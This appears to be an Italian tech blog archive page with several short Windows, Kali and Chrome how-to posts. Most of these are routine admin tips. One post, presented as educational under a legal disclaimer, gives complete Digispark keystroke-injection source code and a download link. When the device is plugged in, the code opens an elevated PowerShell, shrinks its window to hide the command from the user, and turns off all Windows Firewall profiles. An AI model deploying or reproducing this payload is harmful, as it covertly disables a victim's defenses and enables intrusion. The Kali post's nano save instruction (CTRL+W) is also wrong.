lunedì 19 ottobre 2020

PowerShell: Forzare l'applicazione delle impostazioni criteri di gruppo

Dopo aver creato uno o più criteri di gruppo è necessario attendere i tempi di replica affinché vengano distribuiti e applicati sui server e sui dispositivi. Se si vuole forzare l'aggiornamento dei criteri di gruppo si può utilizzare il cmdlet Invoke-GPUpdate. Se il cmdlet viene lanciato senza parametri aggiorna i criteri utente e computer del computer locale.

Sintassi:

Invoke-GPUpdate
      [-AsJob]
      [-Boot]
      [[-Computer] <String>]
      [[-RandomDelayInMinutes] <Int32>]
      [-Force]
      [-LogOff]
      [-Target <String>]
      [<CommonParameters>]

Invoke-GPUpdate
      [-AsJob]
      [-Boot]
      [[-Computer] <String>]
      [[-RandomDelayInMinutes] <Int32>]
      [-LogOff]
      [-Target <String>]
      [-Sync]
      [<CommonParameters>]


Parametri:

-AsJob
Il parametro esegue il comando come processo in background. 

-Boot
Se specificato provvede a riavviare il computer una volta applicate le group policy.

-Computer
Specifica il computer remoto su cui eseguire l'operazione.

-Force
Forza l'esecuzione del comando senza che venga richiesta conferma all'utente.

-LogOff
Esegue la disconnessione dell'utente corrente una volta applicati i criteri di gruppo.

-RandomDelayInMinutes
Specifica il ritardo, in minuti, che il Task Scheduler attende prima di eseguire un aggiornamento programmato dei criteri di gruppo. Al ritardo specificato viene aggiunto un fattore causale in modo da abbassare il carico di rete.
È possibile specificare un ritardo da 0 minuti ad un massimo di 44640 minuti (31 giorni):

-Sync
Indica che il cmdlet elabora la prossima applicazione delle Group Policy in modo sincrono. L'applicazione delle Group Policy verrà eseguita all'avvio del computer e al logon dell'utente. 

-Target
Per default vengono aggiornati i criteri utente e computer. Con tale parametro è possibile specificare di aggiornare solo i criteri utente o solo i criteri computer.




Il seguente comando consente di aggiornare i criteri di gruppo del computer remoto specificato
Invoke-GPUpdate -Computer "PCDIR001

Per aggiornare solo i criteri utente su un computer remoto
Invoke-GPUpdate -Computer "PCDIR001" -Target "User"

Per forzare l'aggiornamento dei criteri di gruppo su un computer remoto
Invoke-GPUpdate -Computer "PCDIR001" -Target "Computer" -Force


Invoke-GPUpdate
FIG 1 - Invoke-GPUpdate


Per aggiornare i criteri di gruppo su tutti i computer di una specifica OU possiamo creare un semplice script come quello riportato di seguito che aggiorna i criteri di gruppo dei computer presenti all'interno dell'unità organizzativa Direzione all'interno del dominio mycompany.local.
Get-ADComputer –filter * -Searchbase "ou=Direzione,dc=mycompany,dc=local" | foreach{ Invoke-GPUpdate –computer $_.name -force}



lunedì 12 ottobre 2020

Kali Linux: Modificare la visualizzazione del comando dir

Da terminale i comandi ls e dir producono più o meno lo stesso output: i nomi dei file disposti in orizzontale e senza ulteriori informazioni come mostrato in FIG 1.
Kali Linux, ls e dir
FIG 1 - Kali Linux, ls e dir

Per differenziare i due comandi è possibile procedere con i seguenti passaggi:
  • Avviare la finestra terminale e digitare il comando 
    sudo nano /etc/bash.bashrc
    Kali Linux, Edit del file bash.bashrc
    FIG 2 - Kali Linux, Edit del file bash.bashrc

  • Posizionarsi alla fine del file e digitare
    alias dir="ls -l --color=auto"
    quindi salvare premendo la combinazione CTRL+W e successivamente premere Invio.
    Kali Linux, Modifica file bash.bashrc
    FIG 3 - Kali Linux, Modifica file bash.bashrc
  • Riavviare il sistema.

Dopo il riavvio, digitando dir da terminale, verranno visualizzati i file in verticale con i dettagli e relativi attributi.
Kali Linux, Nuova visualizzazione del comando dir
FIG 4 - Kali Linux, Nuova visualizzazione del comando dir






venerdì 9 ottobre 2020

Windows 10: Utilizzare il microfono connesso al computer locale nella Connessione Desktop remoto (RDP)

Per utilizzare il microfono connesso al computer locale su una Connessione desktop remoto (RDP) è necessario procedere prima alla sua configurazione: 

  • Verificare che il microfono sia connesso al computer locale e che funzioni quindi avviare Microsoft Terminal Services Client (WIN+R digitare mstsc seguito da invio).
  • Una volta avviato il client MSTSC cliccare su Mostra opzioni;
    Connessione Desktop remoto
    FIG 1 - Connessione Desktop remoto

  • Selezionare la scheda Risorse locali e, nel gruppo Audio remoto, cliccare sul pulsante Impostazioni;
    Connessione Desktop remoto, Opzioni
    FIG 2 - Connessione Desktop remoto, Opzioni

  • In Registrazione audio remoto selezionare Registra da questo computer e cliccare su OK;
    Registrazione audio remoto, Registra da questo computer
    FIG 3 - Registrazione audio remoto, Registra da questo computer

  • A questo punto possiamo cliccare su Nascondi opzioni o posizionarci sulla scheda Generale, specificare il nome del computer a cui vogliamo connetterci e cliccare su Connetti per avviare la connessione.
    Connessione Desktop remoto, Connetti
    FIG 4 - Connessione Desktop remoto, Connetti


Nel caso in cui il microfono collegato al computer locale non venga rilevato dal computer remoto:
  • Sul computer remoto avviare l'Editor del registro di sistema (WIN+R e digitare regedit seguito da invio);
  • Posizionarsi su 
    Computer\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp 
    (in alternativa copiare/incollare il percorso all'interno della barra di navigazione di Regedit);
  • Impostare il valore DWORD nominato fDisableAudioCapture a 0 quindi disconnettersi/riconnettersi sul computer remoto.
    Regedit, fDisableAudioCapture
    FIG 5 - Regedit, fDisableAudioCapture








lunedì 5 ottobre 2020

Windows Server 2019: Forzare l'applicazione delle Group Policy tramite Gestione Criteri di gruppo

Una volta creato/modificato un oggetto criterio di gruppo all'interno di un'unità organizzativa è possibile forzarne l'applicazione agendo tramite lo strumento Gestione Criteri di gruppo.
  • Da Server Manager, cliccare su Strumenti quindi su Gestione Criteri di gruppo.
    Server Manager
    FIG 1 - Server Manager
  • Cliccare, con il tasto destro del mouse, sull'unità organizzativa contenente l'oggetto criteri di gruppo da forzare (ad es. Direzione) e selezionare, dal menu contestuale, Aggiornamento Criteri di gruppo.
    Aggiornamento Criteri di gruppo
    FIG 2 - Aggiornamento Criteri di gruppo
  • Nella finestra di dialogo Forza aggiornamento Criteri di gruppo viene indicato che l'aggiornamento verrà forzato per l'unità organizzativa selezionata e per tutti i contenitori sottostanti, inoltre viene indicato il numero di computer coinvolti nell'operazione. Cliccare su per forzare l'aggiornamento.
    Forza aggiornamento Criteri di gruppo
    FIG 3 - Forza aggiornamento Criteri di gruppo
  • Una finestra ci informa sull'esito dell'aggiornamento.
    Risultati dell'aggiornamento di Criteri di gruppo remoto
    FIG 4 - Risultati dell'aggiornamento di Criteri di gruppo remoto
L'operazione avrà lo stesso effetto dell'esecuzione di gpupdate /force o  Invoke-GPUpdate.





mercoledì 30 settembre 2020

Google Chome Easter Egg: Gioco del Dinosauro e relativi hack

Chi utilizza Google Chrome come browser sa bene che include una sorpresa (Easter Egg) che viene visualizzata quando non è disponibile una connessione ad Internet. In questi casi il browser visualizza un messaggio di errore accompagnato da un'icona ad 8 bit di un T-Rex. Premendo la barra spaziatrice si avvia un platform game a scorrimento continuo con protagonista il nostro dinosauro. Per accedere al gioco senza doversi disconnettere dalla rete basta digitare il seguente URL nella barra degli indirizzi:
chrome://dino
Il trucco funziona sia sulla versione desktop che su quella mobile del browser di Google.
Google Chrome, Easter Egg
FIG 1 - Google Chrome, Easter Egg


Hack del gioco del dinosauro
Vi piace vincere facile? Allora vediamo come barare al gioco del T-Rex.

Una volta avviato il gioco del dinosauro, cliccare, con il tasto destro del mouse, all'interno della finestra del browser e selezionare Ispeziona (o premere la combinazione di tasti CTRL+SHIFT+I).
Google Chrome, Ispeziona pagina web
FIG 2 - Google Chrome, Ispeziona pagina web

Selezionare Console.
Google Chrome, Console
FIG 3 - Google Chrome, Console


A questo punto non resta che digitare una delle seguenti istruzioni a seconda di ciò che vogliamo fare con il nostro dinosauro. Una volta digitata l'istruzione premere invio (nel caso a schermo fosse presente la scritta GAME OVER cliccare sull'apposito tasto per riavviare il gioco). Facendo un refresh della pagina la modifica che abbiamo effettuato verrà persa.

Per rendere invincibile il nostro dinosauro digitare
Runner.prototype.gameOver = function() { }
Google Chrome, Istruzione digitata in Console
FIG 4 - Google Chrome, Istruzione digitata in Console

Per ridurre la forza di gravità, saltare più in alto e rimanere in aria più a lungo digitare
Runner.instance_.tRex.config.GRAVITY = 0.1

Per aumentare la velocità (gli ostacoli vengono eliminati quasi completamente)
Runner.instance_.setSpeed(1000)

Per aumentare l'altezza del salto
Runner.instance_.tRex.setJumpVelocity(100)

Per bloccare lo scorrimento dello sfondo (corsa sul posto)
Runner.instance_.playingIntro = true

Per sbloccare lo scorrimento dello sfondo
Runner.instance_.playingIntro = false

Per impostare il punteggio da cui partire (ad es. 90000) digitare
Runner.instance_.distanceRan = 90000 / Runner.instance_.distanceMeter.config.COEFFICIENT



E' possibile utilizzare anche più istruzioni. Supponiamo di voler rendere il nostro dinosauro invincibile e voler, ad un certo punto del gioco, rimuovere l'invincibilità senza fare refresh della pagina e perdere il record. Le istruzioni da digitare sono le seguenti (dopo ciascuna istruzione è necessario premere invio):

var original = Runner.prototype.gameOver
Runner.prototype.gameOver = function() { }

La prima istruzione salva, all'interno della variabile original, l'impostazione originale che ci servirà in seguito per ripristinarla. Le seconda istruzione è quella che ci rende invincibili. Quando vogliamo rimuovere l'invincibilità basterà digitare la seguente istruzione seguita da invio
Runner.prototype.gameOver = original






domenica 27 settembre 2020

Digispark, Disattivare Windows Firewall

Il payload che mostrerò in questo articolo consente di disattivare il firewall di Windows.

Digispark Kickstarter
FIG 1 - Digispark Kickstarter

ATTENZIONE:
Danneggiare/violare un sistema informatico (anche da remoto) rappresenta un reato penale. Le informazioni presenti in quest'articolo vanno utilizzate solo per testare/verificare sistemi di cui si è titolari. Declino ogni responsabilità civile e penale derivante da un utilizzo non legale delle informazioni presentate in questo articolo a solo scopo didattico.


Windows Firewall è composto da tre profili diversi (dominio, privato e pubblico) ciascuno con le proprie regole/impostazioni. 

Per visualizzare lo stato dei tre profili di Windows Firewall baste eseguire il seguente comando dal Prompt dei comandi
netsh advfirewall show allprofiles

L'output sarà analogo a quello mostrato in FIG 2 in cui tutti e tre profili sono attivi (ON). Dopo l'esecuzione del nostro payload lo stato dei tre profili sarà OFF.

Windows Firewall, Stato Profili
FIG 2 - Windows Firewall, Stato Profili

Per disattivare tutti i profili di Windows Firewall andremo ad eseguire il seguente comando con privilegi elevati
netsh advfirewall set allprofiles state off  

Per la predisposizione dell'ambiente di sviluppo e installazione dei driver della scheda Digispark è possibile fare riferimento all'articolo Creare una Rubber Ducky economica con una scheda Digispark.

Il codice del payload è il seguente.

#include "KeyboardIT.h"
void setup() {
}
void loop() {
  DigiKeyboard.sendKeyStroke(0);
  DigiKeyboard.delay(500);
  //mostra desktop
  DigiKeyboard.sendKeyStroke(KEY_D, MOD_GUI_LEFT);
  DigiKeyboard.delay(1000);
  // start->Esegui
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  DigiKeyboard.delay(1000);
  DigiKeyboard.print("powershell Start-Process powershell -Verb runAs");
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(5000);
  DigiKeyboard.sendKeyStroke(KEY_S, MOD_ALT_LEFT);
  DigiKeyboard.delay(5000);
  DigiKeyboard.print("mode con:cols=14 lines=1 ");
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);  
  DigiKeyboard.delay(500);    
  DigiKeyboard.print("netsh advfirewall set allprofiles state off");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(5000);
  DigiKeyboard.print("Exit");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);  
  for(;;){ /*empty*/ }
}

Con l'istruzione
DigiKeyboard.print("powershell Start-Process powershell -Verb runAs")
viene avviata una sessione PowerShell come amministratore. Per evitare che chi è seduto dinanzi al PC veda il comando digitato, viene ridotta la dimensione della finestra con l'istruzione
DigiKeyboard.print("mode con:cols=14 lines=1 ");
Successivamente vengono disabilitati tutti i profili di Windows Firewall con 
DigiKeyboard.print("netsh advfirewall set allprofiles state off");


Per caricare il payload sulla scheda Digispark:
  • Scaricare il file Digispark_ Turn_Off_Windows_Firewall.zip dal seguente link 
    DOWNLOAD
  • Scompattare il file e cliccare 2 volte sul file Digispark_ Turn_Off_Windows_Firewall.ino per aprirlo nell'IDE Arduino;
  • Cliccare sul tasto carica per compilare e caricare il programma sul dispositivo. Quando richiesto, collegare la scheda Digispark e attendere il caricamento del programma.

Digispark, Disattiva profili di Windows Firewall
FIG 3 - Digispark, Disattiva profili di Windows Firewall


Terminato il caricamento, la scheda è pronta per essere usata. Collegandola ad un PC con sistema operativo Windows 7/8/10 verrà eseguita la disattivazione di tutti i profili di Windows Firewall.



lunedì 21 settembre 2020

Windows 10: Aprire Esplora file su Questo PC

Avviando Esplora file in Windows 10, per default, viene aperta la cartella Accesso rapido che visualizza le ultime cartelle/file utilizzati. Qualcuno può trovare più utile che Esplora file visualizzasse direttamente la cartella Questo PC per navigare all'interno dei dispositivi e delle cartelle presenti sul PC. Per modificare l'impostazione di Esplora file è possibile agire sia tramite GUI che tramite registro di sistema.

Metodo 1: Modificare la cartella di avvio di Esplora file tramite GUI
  • Avviare Esplora file cliccando sull'apposita icona presente nella barra delle applicazioni  o tramite la combinazione di tasti WIN+E;
  • Nella scheda Visualizza cliccare sul pulsante Opzioni (o in alternativa cliccare sul menu File e selezionare Modifica opzioni cartelle e ricerca);
    Windows 10 - Esplora file
    FIG 1 - Windows 10, Esplora file

  • Nella casella Apri Esplora file per selezionare Questo PC quindi cliccare sul pulsante OK per applicare la modifica.

    Esplora file, Opzioni cartella
    FIG 2 - Esplora file, Opzioni cartella



Metodo 2: Modificare la cartella di avvio di Esplora file tramite registro di sistema
  • Premere la combinazione di tasti WIN+R per aprire la finestra di dialogo Esegui e digitare regedit seguito da invio per avviare l'editor del registro di sistema;
  • Posizionarsi su
    Computer\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
    (in alternativa copiare/incollare il percorso all'interno della barra di navigazione di Regedit);
  • Cliccare due volte sul valore DWORD nominato LaunchTo e nel campo Dati valore digitare 1 per aprire Esplora file su Questo PC2 per aprirlo su Accesso rapido (default) o 3 per aprirlo sulla cartella Download quindi cliccare su OK per applicare la modifica. Non è necessario riavviare il sistema.

    Regedit - LaunchTo
    FIG 3 - Regedit, LaunchTo

Per chi non vuole modificare manualmente il registro di sistema può scaricare i  file .REG dal seguente link